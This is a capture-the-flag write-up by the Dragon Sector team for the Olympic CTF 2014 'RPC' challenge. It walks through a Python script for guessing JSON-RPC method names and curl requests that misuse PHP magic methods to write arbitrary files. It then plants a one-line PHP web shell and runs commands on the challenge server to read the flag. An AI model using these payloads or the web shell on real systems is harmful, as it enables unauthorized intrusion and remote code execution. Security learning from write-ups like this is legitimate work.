Monday, February 10, 2014

Olympic CTF 2014 - RPC (400)

The write-up was created by mak and edited by j00ru of Dragon Sector.

Let's get started with the "RPC" challenge, poked with and solved by quite a few people on our team: jagger, mak, keidii, Mawekl and vnd, and available during the CTF with the following description:
Wallarm experts[0] do it in 3 minutes. How long will it take you[1]?

Flag format: CTF{..32 hexes..}
[0]http://wallarm.com/
[1]http://109.233.61.11:8880/
Once we clicked on the second link, the task website welcomed us with the following error:
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27
After some brief googling around for the notice message, we found out what rpc-json was and how it roughly worked. An example of a JSON stream as expected by the protocol looks like the snippet below:
{"jsonrpc": "2.0", "method": "mymethod", "params":{"a1":"va1","a2":"val2"}}
which basically boils down to firing up $obj->$mymethod($val1, $val2). The obvious way to approach this is to find some useful methods we could use in further exploitation - the first one we were able to locate was test with an id parameter:
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"foo","params":{}}' ; echo

invalid method. Try test

$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"test","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
    id
42
We played with the id argument for a bit, unfortunately with no luck - it always returned 42, as this is the answer to everything, right? :) This required us to perform some more educated guessing with regards to the method names:
import requests
import json

def call_method(m,p):
    if type(m) == type(p) and type(m) == list:
        d= []
        for m,p in zip(m,p):
            d.append({'jsonrpc':'2.0',"params":p,"method":m})
    else:
        d = {'jsonrpc':'2.0',"params":p,"method":m}
    print json.dumps(d)
    r = requests.post('http://109.233.61.11:8880/index.php',data={'rpc_json_call':json.dumps(d)})
    return r.text

def check_method(m):
    return call_method(m,{})[:7] != 'invalid'


methods = [
    'test',
    'construct','wakeup','sleep',
    'toString','to_string','invoke','set_state',
    'construct','destruct', 'call', 'callStatic', 'get', 'set',
    'isset', 'unset', 'toString', 'invoke', 'set_state','clone'
    ]
for m in methods:
    if check_method(m):
        print m
    if check_method('_'+m):
        print '_' + m
    if check_method('__'+m):
        print '__' + m

$ python2 /tmp/r.py
test
__construct
__wakeup
Once we knew about two more interesting methods (standard ones used by PHP for object serialization), we could determine their parameter names:
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"__construct","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
    log_dir
    debug
    state
This sounded like we could set some state (curious!), turn on debugging and log something somewhere. With the filesystem path from the original error message, we tried to write to a test file:
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/testing", "debug":true, "state":"pwnd"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo

...logged

$ curl http://109.233.61.11:8880/testing

1391980389    O:3:"rpc":1:{s:5:"state";s:4:"pwnd";}
Hurray, it worked! Having an arbitrary file write primitive, we could easily get ourselves a remote shell:
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/t.php", "debug":true, "state":"<? system($_GET['x']);?>"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo

...logged

$ curl http://109.233.61.11:8880/t.php?x=id   

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
Even having compromised the server, we still had to spend a few minutes snooping around the file system, eventually finding the desired flag in the root directory:
$ curl 'http://109.233.61.11:8880/t.php?x=cat%20/FLAG'

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"CTF{b15ffee30a117f418d1cede6faa57778}
";}
+400 points well earned, and we could happily proceed to the next task. :)

2 comments:

  1. Thanks for your detailed write-up.

    How did you guess this set of methods: {'test', 'construct','wakeup','sleep', 'toString','to_string','invoke','set_state', 'construct','destruct', 'call', 'callStatic', 'get', 'set', 'isset', 'unset', 'toString', 'invoke', 'set_state','clone'}

    How did you know that maybe there are one or two underline at the beginning?!

    ReplyDelete
  2. @Ahmad
    I've asked mak about it and he said that some of them are magic methods (see http://www.php.net/manual/en/language.oop5.magic.php) and others were just educated guesses.

    ReplyDelete